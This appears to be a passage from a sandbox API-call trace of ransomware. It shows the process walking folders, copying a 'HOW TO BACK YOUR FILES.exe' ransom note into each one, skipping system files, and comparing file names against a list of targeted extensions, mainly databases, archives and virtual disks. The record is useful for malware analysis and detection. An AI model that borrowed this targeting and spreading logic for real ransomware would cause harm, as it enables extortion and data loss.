	[0050.496] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.496] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
	[0050.496] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.496] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe50
	[0050.496] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0050.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a008 | out: hHeap=0x580000) returned 1
	[0050.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0050.496] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 78
	[0050.496] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0050.496] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.496] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.497] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.497] GetLastError () returned 0x0
	[0050.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.497] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.497] CloseHandle (hObject=0x15c) returned 1
	[0050.497] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.497] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.497] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.497] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.497] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.497] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.498] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.498] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.498] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.516] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.517] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.517] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.517] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0050.517] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0050.517] lstrlenW (lpString="packages") returned 8
	[0050.517] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned 80
	[0050.517] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.517] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x5b58d8
	[0050.517] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.517] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.517] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.517] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe50
	[0050.517] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0050.517] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0050.517] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0050.517] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned 87
	[0050.517] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0050.518] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.518] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.518] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.518] GetLastError () returned 0x0
	[0050.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.518] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.518] CloseHandle (hObject=0x15c) returned 1
	[0050.518] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.518] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.518] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.519] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.519] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.519] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.519] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.519] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.519] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.519] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.519] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.519] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Apollon865.txt.exe") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="windows") returned -1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="bootmgr") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="temp") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="pagefile.sys") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="boot") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ids.txt") returned 1
	[0050.519] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ntuser.dat") returned 1
	[0050.519] lstrcpyW (in: lpString1=0x2d3e600, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0050.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe0) returned 0x5b58d8
	[0050.519] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.519] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.519] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.519] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe50
	[0050.520] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0050.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b58d8 | out: hHeap=0x580000) returned 1
	[0050.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0050.520] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned 111
	[0050.520] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0050.520] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.520] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.520] GetLastError () returned 0x0
	[0050.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.520] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.520] CloseHandle (hObject=0x15c) returned 1
	[0050.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.521] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.521] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3b13b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.521] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.521] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.521] lstrcpyW (in: lpString1=0x2d3e630, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.521] lstrlenW (lpString="cab1.cab") returned 8
	[0050.521] lstrlenW (lpString="Apollon865") returned 10
	[0050.521] lstrlenW (lpString=".dll") returned 4
	[0050.521] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.521] lstrlenW (lpString=".lnk") returned 4
	[0050.521] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.521] lstrlenW (lpString=".ini") returned 4
	[0050.521] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.521] lstrlenW (lpString=".sys") returned 4
	[0050.521] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.521] lstrlenW (lpString="cab1.cab") returned 8
	[0050.521] lstrlenW (lpString="bak") returned 3
	[0050.521] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0050.521] lstrlenW (lpString="ba_") returned 3
	[0050.521] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0050.521] lstrlenW (lpString="dbb") returned 3
	[0050.521] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0050.521] lstrlenW (lpString="vmdk") returned 4
	[0050.521] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0050.521] lstrlenW (lpString="rar") returned 3
	[0050.521] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0050.521] lstrlenW (lpString="zip") returned 3
	[0050.521] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0050.522] lstrlenW (lpString="tgz") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0050.522] lstrlenW (lpString="vbox") returned 4
	[0050.522] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0050.522] lstrlenW (lpString="vdi") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0050.522] lstrlenW (lpString="vhd") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0050.522] lstrlenW (lpString="vhdx") returned 4
	[0050.522] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0050.522] lstrlenW (lpString="avhd") returned 4
	[0050.522] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0050.522] lstrlenW (lpString="db") returned 2
	[0050.522] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0050.522] lstrlenW (lpString="db2") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0050.522] lstrlenW (lpString="db3") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0050.522] lstrlenW (lpString="dbf") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0050.522] lstrlenW (lpString="mdf") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0050.522] lstrlenW (lpString="mdb") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0050.522] lstrlenW (lpString="sql") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0050.522] lstrlenW (lpString="sqlite") returned 6
	[0050.522] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0050.522] lstrlenW (lpString="sqlite3") returned 7
	[0050.522] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0050.522] lstrlenW (lpString="sqlitedb") returned 8
	[0050.522] lstrlenW (lpString="xml") returned 3
	[0050.522] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0050.522] lstrlenW (lpString="$er") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0050.523] lstrlenW (lpString="4dd") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0050.523] lstrlenW (lpString="4dl") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0050.523] lstrlenW (lpString="^^^") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0050.523] lstrlenW (lpString="abs") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0050.523] lstrlenW (lpString="abx") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0050.523] lstrlenW (lpString="accdb") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0050.523] lstrlenW (lpString="accdc") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0050.523] lstrlenW (lpString="accde") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0050.523] lstrlenW (lpString="accdr") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0050.523] lstrlenW (lpString="accdt") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0050.523] lstrlenW (lpString="accdw") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0050.523] lstrlenW (lpString="accft") returned 5
	[0050.523] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0050.523] lstrlenW (lpString="adb") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0050.523] lstrlenW (lpString="adb") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0050.523] lstrlenW (lpString="ade") returned 3
	[0050.523] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0050.523] lstrlenW (lpString="adf") returned 3
